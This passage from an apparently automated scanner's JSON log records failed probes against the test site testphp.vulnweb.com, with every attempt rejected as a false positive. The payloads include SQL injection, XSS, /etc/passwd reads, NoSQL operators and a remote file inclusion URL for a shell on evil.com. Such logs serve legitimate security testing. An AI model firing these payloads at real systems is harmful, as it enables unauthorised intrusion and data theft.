      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin' #"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771269636.2402391
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771269638.092785
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin'--"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771269639.9347498
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin' #"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771269641.769048
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1",
      "attempted_payloads": [
        "<script>alert('XSS')</script>"
      ],
      "failure_reason": "Rejected xss_reflected in artist: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771269753.797302
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1",
      "attempted_payloads": [
        "<img src=x onerror=alert('XSS')>"
      ],
      "failure_reason": "Rejected xss_reflected in artist: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771269755.58939
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1",
      "attempted_payloads": [
        "<svg onload=alert('XSS')>"
      ],
      "failure_reason": "Rejected xss_reflected in artist: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771269757.3576362
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1",
      "attempted_payloads": [
        "'"
      ],
      "failure_reason": "Rejected sqli_error in artist: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771269759.021182
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1",
      "attempted_payloads": [
        "\""
      ],
      "failure_reason": "Rejected sqli_error in artist: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771269760.974498
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected sqli_error in artist: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771269762.558264
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1",
      "attempted_payloads": [
        "' AND 1=1--"
      ],
      "failure_reason": "Rejected sqli_blind in artist: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771269764.3446999
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1",
      "attempted_payloads": [
        "' AND 1=2--"
      ],
      "failure_reason": "Rejected sqli_blind in artist: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771269766.188575
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1",
      "attempted_payloads": [
        "' AND 'a'='a"
      ],
      "failure_reason": "Rejected sqli_blind in artist: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771269768.034654
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in test: no proof of execution (score: 20/100)",
      "timestamp": 1771269934.330056
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)",
      "timestamp": 1771269939.4603882
    },
    {
      "vuln_type": "arbitrary_file_read",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "/etc/passwd"
      ],
      "failure_reason": "Rejected arbitrary_file_read in pic: negative controls show same behavior (3/4 controls match) (score: 0/100)",
      "timestamp": 1771269941.3968482
    },
    {
      "vuln_type": "nosql_injection",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "{\"$gt\": \"\"}"
      ],
      "failure_reason": "Rejected nosql_injection in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)",
      "timestamp": 1771269943.048608
    },
    {
      "vuln_type": "nosql_injection",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/",
      "attempted_payloads": [
        "{\"$gt\": \"\"}"
      ],
      "failure_reason": "Rejected nosql_injection in pp: no proof of execution (score: 20/100)",
      "timestamp": 1771269945.9105651
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771269948.038503
    },
    {
      "vuln_type": "arbitrary_file_read",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "/etc/passwd"
      ],
      "failure_reason": "Rejected arbitrary_file_read in cat: negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771269949.997208
    },
    {
      "vuln_type": "nosql_injection",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "{\"$gt\": \"\"}"
      ],
      "failure_reason": "Rejected nosql_injection in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771269951.8562272
    },
    {
      "vuln_type": "nosql_injection",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/showimage.php",
      "attempted_payloads": [
        "{\"$gt\": \"\"}"
      ],
      "failure_reason": "Rejected nosql_injection in file: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)",
      "timestamp": 1771269954.9127839
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771269957.2755818
    },
    {
      "vuln_type": "arbitrary_file_read",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "/etc/passwd"
      ],
      "failure_reason": "Rejected arbitrary_file_read in artist: negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771269958.9315991
    },
    {
      "vuln_type": "nosql_injection",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "{\"$gt\": \"\"}"
      ],
      "failure_reason": "Rejected nosql_injection in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771269960.877931
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771274082.697197
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin'--"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771274084.421931
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin' #"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771274086.165426
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771274087.9972548
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin'--"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771274089.636482
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin' #"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771274091.383049
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "<script>alert('XSS')</script>"
      ],
      "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771274202.694825
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "<img src=x onerror=alert('XSS')>"
      ],
      "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771274204.536343
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "<svg onload=alert('XSS')>"
      ],
      "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771274206.272691
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "'"
      ],
      "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771274208.030637
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "\""
      ],
      "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771274209.752471
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771274211.697767
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' AND 1=1--"
      ],
      "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771274213.644196
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' AND 1=2--"
      ],
      "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771274215.404855
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' AND 'a'='a"
      ],
      "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771274217.287173
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771274316.399603
    },
    {
      "vuln_type": "arbitrary_file_read",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "/etc/passwd"
      ],
      "failure_reason": "Rejected arbitrary_file_read in artist: negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771274318.2017238
    },
    {
      "vuln_type": "nosql_injection",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "{\"$gt\": \"\"}"
      ],
      "failure_reason": "Rejected nosql_injection in artist: negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771274319.951565
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771274323.948448
    },
    {
      "vuln_type": "arbitrary_file_read",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "/etc/passwd"
      ],
      "failure_reason": "Rejected arbitrary_file_read in cat: negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771274325.881962
    },
    {
      "vuln_type": "nosql_injection",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "{\"$gt\": \"\"}"
      ],
      "failure_reason": "Rejected nosql_injection in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771274327.6548638
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in test: no proof of execution (score: 20/100)",
      "timestamp": 1771274329.6427011
    },
    {
      "vuln_type": "nosql_injection",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/",
      "attempted_payloads": [
        "{\"$gt\": \"\"}"
      ],
      "failure_reason": "Rejected nosql_injection in pp: no proof of execution (score: 20/100)",
      "timestamp": 1771274333.2546601
    },
    {
      "vuln_type": "nosql_injection",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/showimage.php",
      "attempted_payloads": [
        "{\"$gt\": \"\"}"
      ],
      "failure_reason": "Rejected nosql_injection in file: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)",
      "timestamp": 1771274336.0340512
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)",
      "timestamp": 1771274338.074872
    },
    {
      "vuln_type": "arbitrary_file_read",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "/etc/passwd"
      ],
      "failure_reason": "Rejected arbitrary_file_read in pic: negative controls show same behavior (3/4 controls match) (score: 0/100)",
      "timestamp": 1771274339.825067
    },
    {
      "vuln_type": "nosql_injection",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "{\"$gt\": \"\"}"
      ],
      "failure_reason": "Rejected nosql_injection in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)",
      "timestamp": 1771274341.857177
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771341771.110322
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin'--"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771341773.665967
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin' #"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771341775.372823
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771341777.516242
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin'--"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771341779.554067
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin' #"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771341782.0552142
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "' UNION SELECT NULL--"
      ],
      "failure_reason": "Rejected sqli_union in cat: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771341974.460635
    },
    {
      "vuln_type": "rfi",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "http://evil.com/shell.txt"
      ],
      "failure_reason": "Rejected rfi in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771341974.630286
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771341974.648414
    },
    {
      "vuln_type": "rfi",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "http://evil.com/shell.txt"
      ],
      "failure_reason": "Rejected rfi in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771341976.383436
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771341976.430634
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "' UNION SELECT NULL--"
      ],
      "failure_reason": "Rejected sqli_union in artist: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771341976.833942
    },
    {
      "vuln_type": "rfi",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "http://evil.com/shell.txt"
      ],
      "failure_reason": "Rejected rfi in pic: no proof of execution; negative controls show same behavior (3/4 controls match) (score: 0/100)",
      "timestamp": 1771341978.229136
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "' UNION SELECT NULL--"
      ],
      "failure_reason": "Rejected sqli_union in pic: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771341978.6210911
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)",
      "timestamp": 1771341978.7290418
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in test: no proof of execution (score: 20/100)",
      "timestamp": 1771341982.6275818
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771350161.2890959
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin'--"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771350162.877491
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin' #"
      ],
